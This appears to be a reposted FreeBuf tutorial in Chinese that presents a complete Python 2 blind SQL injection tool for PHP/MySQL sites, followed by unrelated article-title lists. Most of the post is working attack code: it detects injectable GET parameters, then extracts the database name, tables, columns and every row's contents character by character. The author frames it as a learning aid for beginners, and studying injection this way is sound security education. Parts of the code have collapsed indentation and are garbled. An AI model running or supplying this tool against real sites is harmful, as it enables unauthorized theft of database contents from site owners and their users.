0×01 前言

我想在FreeBuf上出没的人一般都是安全行业的,或者说是安全方面的爱好者,所以大家对sql注入应该都比较了解,反正我刚入门的时候就是学的这些:sql注入、xss之类的。sql注入从出现到现在也十多年了,但是一直都在owasp top10中有一席之地,原因之一就是sql注入的门槛低危害高,攻击者不需要带计算机知识、网络知识有什么太深的了解,甚至是都不需要了解,只要知道几条sql语句和那几种数据库的不同结构就可以发起攻击,而造成的伤害确实非常非常高的。

大型的网站已经很少有sql注入漏洞了,但是对于那些开发和防护都不太过关的小网站却还经常会存在sql注入漏洞,毕竟百密一疏,只要有一个注入点就可以遍历整个数据库。我本人对sql注入技术其实不是很感兴趣,而且我sql注入的水平也比较的low,这篇文章呢主要目的是帮助刚刚踏入安全界或者说是想要从事安全工作的新手们学习sql注入知识而写的,自己手写一个注入工具能让你更好的熟悉注入的原理和过程,这篇文中文字将比较少,代码占大部分,代码我也大多加了注释比较容易看懂。

0×02 注入工具的运行环境

运行环境:windows7/8/10 +python 2.7

存在sql注入漏洞环境:PHP+mysql

sql注入类型:盲注

主要的思路:判断url有无注入漏洞→若有漏洞用户决定是否继续注入→猜解数据库名长度→猜解数据库名→猜解数据库中表个数→猜解每个表的长度与表名→根据表名查看表中内容

0×03 代码不足之处

1. 在这里我只写了对于mysql的盲注利用工具,所以对mssql、oracle等其他数据库基本是不好使,本来我是想把这两个也加进去的,但是我精力有限就没有继续完善

2. 这个工具呢实际应用作用不大,适用范围比较小,只适合新手学习用,原因就是因为后面的注入语句没有跟前面的判断语句做动态的关联,而是直接写死的,这就造成了有的环境下不好用,我是没精力改写了,喜欢玩的就下面这个段代码改改,就能适应更多环境更多种类的数据库了。

3. 这个工具呢只能应用于GET提交数据的网站,post的原理一样,只是还没写上呢……

0×04 代码详情

#!/usr/bin/python
#-*- coding: UTF-8 -*-
import httplib
import urllib def sqlscan():
    while 1:
        ture=('+and+5=5',' and 2=2')#这里是判断有无注入的语句
        false=('+and+5=6',' and 2=3')         url=raw_input("输入源url:")
        if url.find('http://')!= -1: #看有没有http://有的话删除
            url=url.lstrip('http://') #删除http://
                 a=url.find('/') #找/分割主机和资源名
        print a
        host=url[:a] #/前的是主机名
        path=url[a:]   #后面是资源名
                 conn=httplib.HTTPConnection(host,80) #与主机建立一个http连接         in_p=path.find('$') #查找注入点的位置
        
        i=0
        len_x=0
        while (len_x<10)and(i<len(ture)):
            #path_ture=path[:in_p-1]+ture[i]+path[in_p:] #组合注入语句
            #path_false=path[:in_p-1]+false[i]+path[in_p:] #组合错误的注入语句
            path_ture=path.replace('$',urllib.quote(ture[i])) #用判断注入的语句替换$
            path_false=path.replace('$',urllib.quote(false[i]))
            
            conn=httplib.HTTPConnection(host,80)
            conn.request('GET',path_ture) #以get方式请求
            res_ture=conn.getresponse()  
            len_ture=len(res_ture.read()) #计算返回信息的长度
            print "len_ture:",len_ture
            #body_ture=res_ture.read()
            #print body_ture
            
            conn=httplib.HTTPConnection(host,80)
    
            conn.request('GET',path_false)#同上
            res_false=conn.getresponse()
            len_false=len(res_false.read())
            print "len_false:",len_false
            len_x=abs(len_ture-len_false)
            i+=1             if len_x>10:
                s1= "$处存在sql注入漏洞"
                print s1.decode('utf-8')
                d=raw_input("是否尝试注入Y/N: ")
                if d=='N':
                    break
                elif d=='Y':
                    sqlin(host,path,conn,len_ture)
                
        if len_x<=10:
            s= "貌似没有sql注入漏洞"
            print s.decode('utf-8')
            continue
    
        
             def sqlin(host,path,conn,len_ture):
    num=0
    
    while num < 50:
        sqli_database_len=' and length(database())>'+str(num)#组合注入语句,猜数据库名字长度,改进的话应该在这把注入语句 #跟前面的判断注入语句关联
        path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path
        #print path_sqli
        conn.request('GET',path_sqli) #获取数据
        res=conn.getresponse() #获取数据
        res_len=len(res.read()) #获取数据长度
        diff=abs(len_ture-res_len) #对比长度
        #print diff
        if diff > 10: #条件长度差大于10即认为不同
            database_len=num
            print "数据库名长度:",database_len
            break
        
        num+=1     '''
    num_1=1
    database_name=[]
    while num_1<=database_len:
        for i in range(33,127):
            sqli_database_name=' and ord(mid(database(),'+str(num_1)+',1))>'+str(i)
            path_sqli=path.replace('$',urllib.quote(sqli_database_name))
            conn.request('GET',path_sqli) #获取数据
            res=conn.getresponse() #获取数据
            res_len=len(res.read()) #获取数据长度
            diff=abs(len_ture-res_len) #对比长度
            if diff > 10: #条件长度差大于10即认为不同
                database_name.append(chr(i))
                break         num_1+=1
        '''
    num_1=1
    database_name=[]
    while num_1<=database_len:#猜数据库名
        min_num=33
        max_num=127
        
        while 1:#二分法猜字段
            num_2=(min_num+max_num)/2
            sqli_database_name=' and ord(mid(database(),'+str(num_1)+',1))>'+str(num_2)
            path_sqli=path.replace('$',urllib.quote(sqli_database_name))
            conn.request('GET',path_sqli) #获取数据
            res=conn.getresponse() #获取数据
            res_len=len(res.read()) #获取数据长度
            diff=abs(len_ture-res_len) #对比长度
            if diff<10:
                min_num=num_2             else:
                max_num=num_2             if max_num-min_num==1:
                database_name.append(chr(max_num))
                break             #print 'min_num:',min_num
            #print 'max_num:',max_num
        num_1+=1
            
            
        
    database_name_1=( ''.join(database_name))
    print "数据库名:",database_name_1     num_3=0
    
    while num_3 < 100:
        sqli_database_len=' and (select count(table_name) from information_schema.tables where table_schema=database())>'+str(num_3)#组合注入语句,猜数据库表个数
        path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path
        #print path_sqli
        conn.request('GET',path_sqli) #获取数据
        res=conn.getresponse() #获取数据
        res_len=len(res.read()) #获取数据长度
        diff=abs(len_ture-res_len) #对比长度
        #print diff
        if diff > 10: #条件长度差大于10即认为不正确
            database_len=num_3
            print "数据库中表的个数:",database_len
            break
        
        num_3+=1
        
    #'''
    num_4=0
    while num_4<database_len:
        
        num_5=0
        while num_5<50:#猜解表名长度
            
            sqli_database_len=' and (select length(table_name) from information_schema.tables where table_schema=database() limit '+str(num_4)+',1)>'+str(num_5)#组合注入语句,猜数据库表个数
            path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path
            
            conn.request('GET',path_sqli) #获取数据
            res=conn.getresponse() #获取数据
            res_len=len(res.read()) #获取数据长度
            diff=abs(len_ture-res_len) #对比长度
            
            if diff > 10: #条件长度差小于10即认为正确
                table_NO=num_4+1
                table_len=num_5
                #print "数据库中第",table_NO,"个表的长度:",table_len
                break
            
            num_5+=1         
        num_6=1
        table_name=[]
        tables=[]
        while num_6<=table_len:#猜解数据库表名
            min_num=33
            max_num=127
            
            while 1:#二分法猜字段,二分法比一个一个猜快很多
                num_7=(min_num+max_num)/2
                sqli_database_name=' and ord(mid((select table_name from information_schema.tables where table_schema=database() limit '+str(num_4)+',1),'+str(num_6)+',1))>'+str(num_7)
                path_sqli=path.replace('$',urllib.quote(sqli_database_name))
                conn.request('GET',path_sqli) #获取数据
                res=conn.getresponse() #获取数据
                res_len=len(res.read()) #获取数据长度
                diff=abs(len_ture-res_len) #对比长度
                if diff<10:
                    min_num=num_7                 else:
                    max_num=num_7                 if max_num-min_num==1:
                    table_name.append(chr(max_num))
                    break                 #print 'min_num:',min_num
                #print 'max_num:',max_num
            num_6+=1
            
            
        
        table_name_1=( ''.join(table_name))
        tables.append(table_name_1)
        
        print "数据库中第",table_NO,"个表的长度:",table_len," 表名:",table_name_1        
        
        num_4+=1
            while 1:
        table_name_2=raw_input("输入要查看的表名:") #根据上面猜解出来的表名来查看各个表的详细情况
    
        num_7=0
        column_num=0
        while num_7<100:#猜解表中有多少列,我猜应该不会超过100列吧,这里可以改
            
            sqli_database_len=' and (select count(column_name) from information_schema.columns where table_name="'+table_name_2+'")>'+str(num_7)
            #组合注入语句,表中列的个数,注意有的地方表名需要单引号‘’,在这里需要双引号“”
            path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path
            
            conn.request('GET',path_sqli) #获取数据
            res=conn.getresponse() #获取数据
            res_len=len(res.read()) #获取数据长度
            diff=abs(len_ture-res_len) #对比长度
            
            if diff > 10:#条件长度差小于10即认为正确
            
                column_num=num_7 #表中的列数
                #print column_num
                break
            num_7+=1
        num_8=0
        columns_name=[]
        while num_8<column_num:#猜解所有表名与长度 这里num_8不得大于上文的表名个数
            num_9=0
            while num_9<50:#猜列名长度
                sqli_database_len=' and (select length(column_name) from information_schema.columns where table_name="'+table_name_2+'" limit '+str(num_8)+',1)>'+str(num_9)
                #组合注入语句,表中列的个数,注意有的地方表名需要单引号‘’,在这里需要双引号“”
                path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path
            
                conn.request('GET',path_sqli) #获取数据
                res=conn.getresponse() #获取数据
                res_len=len(res.read()) #获取数据长度
                diff=abs(len_ture-res_len) #对比长度
            
                if diff > 10:#条件长度差小于10即认为正确
            
                    column_len=num_9 #这里就是列名的长度
                    #print column_len
                    break
                num_9+=1             num_10=1
            column_name=[]
            while num_10<=column_len:#猜列名
                min_num=33
                max_num=127
        
                while 1:#二分法猜列名
                    num_2=(min_num+max_num)/2
                    sqli_database_name=' and ord(mid((select column_name from information_schema.columns where table_name="'+table_name_2+'" limit '+str(num_8)+',1),'+str(num_10)+',1))>'+str(num_2)
                    #print sqli_database_name
                    path_sqli=path.replace('$',urllib.quote(sqli_database_name))
                    conn.request('GET',path_sqli) #获取数据
                    res=conn.getresponse() #获取数据
                    res_len=len(res.read()) #获取数据长度
                    diff=abs(len_ture-res_len) #对比长度
                    if diff<10:
                        min_num=num_2                     else:
                        max_num=num_2                     if max_num-min_num==1:
                        column_name.append(chr(max_num))
                        break                     #print 'min_num:',min_num
                    #print 'max_num:',max_num
                num_10+=1
            
            
        
            column_name_1=( ''.join(column_name))
            #print column_name_1
            columns_name.append(column_name_1)
            num_8+=1
        
        print "表名:",columns_name
    
        shujumax=0 #每列数据数量的最大值
        for i in columns_name:
            num_11=0
            while num_11<1000:                 sqli_database_len=' and (select count('+i+') from '+table_name_2+')>'+str(num_11)
                #组合注入语句,表中第一列数据的个数,注意有的地方表名需要单引号‘’,在这里需要双引号“”
                path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path
            
                conn.request('GET',path_sqli) #获取数据
                res=conn.getresponse() #获取数据
                res_len=len(res.read()) #获取数据长度
                diff=abs(len_ture-res_len) #对比长度
            
                if diff > 10:#条件长度差小于10即认为正确
            
                    column_shu=num_11 #这里就是列名的长度
                    if column_shu>shujumax:
                        shujumax=column_shu
                    
                    break
                num_11+=1         #print "最大数量:",shujumax             
        num_12=0
        while num_12<shujumax:
            shujuneirong_1hang=[]
            for i in columns_name:
                num_13=0
                while num_13<50:
            
                    sqli=' and (select length('+i+') from '+table_name_2+' limit '+str(num_12)+',1)>'+str(num_13)
                    #and (select length(id) from saiqu limit 0,1)>0
                    #组合注入语句,表中第一列数据的个数,注意有的地方表名需要单引号‘’,在这里需要双引号“”
                    path_sqli=path.replace('$',urllib.quote(sqli)) #组合新的path
            
                    conn.request('GET',path_sqli) #获取数据
                    res=conn.getresponse() #获取数据
                    res_len=len(res.read()) #获取数据长度
                    diff=abs(len_ture-res_len) #对比长度
            
                    if diff > 10:#条件长度差小于10即认为正确
            
                        shuju_len=num_13 #这里就是数据的长度
                        break
                    num_13+=1
                #print "这个数据的长度:",shuju_len                 num_14=1
                shujuneirong=[]
                while num_14<=shuju_len:#猜测数据的内容
                
                
                    min_num=33
                    max_num=127
        
                    while 1:#二分法猜列名
                        num_2=(min_num+max_num)/2
                        sqli_database_name=' and ord(mid((select '+i+' from '+table_name_2+' limit '+str(num_12)+',1),'+str(num_14)+',1))>'+str(num_2)
                    
                        path_sqli=path.replace('$',urllib.quote(sqli_database_name))
                        conn.request('GET',path_sqli) #获取数据
                        res=conn.getresponse() #获取数据
                        res_len=len(res.read()) #获取数据长度
                        diff=abs(len_ture-res_len) #对比长度
                        if diff<10:
                            min_num=num_2                         else:
                            max_num=num_2                         if max_num-min_num==1:
                            shujuneirong.append(chr(max_num))
                            break                         #print 'min_num:',min_num
                        #print 'max_num:',max_num
                    num_14+=1
            
            
        
                shujuneirong_1=( ''.join(shujuneirong))
            
                shujuneirong_1hang.append(shujuneirong_1)             print "内容:",shujuneirong_1hang
            num_12+=1
        
        
                
              
    
sqlscan()

0×05 运行效果

记得在输入url的时候在你觉得可能有注入漏洞的地方加一个$符号,如果有注入漏洞并且你要继续注入的话就输入Y,等到跑出所有表名你就可以根据表名来继续注入

因为每个字都要猜所以比较慢才能猜出所有内容,所以要有点耐心啊。

好啦,这次的内容就这么多了,下次有好东西在分享给大家。

*本文原创作者:黑戈爾,本文属FreeBuf原创奖励计划,未经许可禁止转载

最新文章

  1. HTML5 canvas 捕鱼达人游戏
  2. Python2 连接MySQL
  3. Java 8 Lambda表达式探险
  4. easyui-treegrid节点选择
  5. linux load average
  6. CVE爬虫抓取漏洞URL
  7. Node.js + Express + Mongodb 开发搭建个人网站(三)
  8. Servlet学习--练习示例总结
  9. 原创 HTML5:JS操作SVG实践体会
  10. hdu 5312 Sequence(数学推导+线性探查(两数相加版))
  11. 自己用的reset.css,大部分转载,加上自己常用的设置
  12. 死磕 java集合之PriorityBlockingQueue源码分析
  13. 马哥k8s
  14. Python3中PyMongo的用法
  15. 异常检测LOF
  16. transclude
  17. Loj 10211 sumdiv
  18. Java实现用汉明距离进行图片相似度检测的
  19. xml常用的error-page
  20. json的工具按照键进行排序

热门文章

  1. 请求报文&amp;响应报文
  2. cache共享问题
  3. Selenium WebDriver- 显式等待
  4. JS使用onerror进行默认图像显示,可代替alt
  5. [linux time命令学习篇] time 统计命令执行的时间
  6. 为什么在header 和 session 之前不能有输出
  7. C#发送邮件异常,返回信息乱码
  8. python ConfigParser 的小技巧
  9. Java生产者消费者模式
  10. ACM程序设计选修课——1024: 末位零(求末尾0的方法+可有可无的快速幂)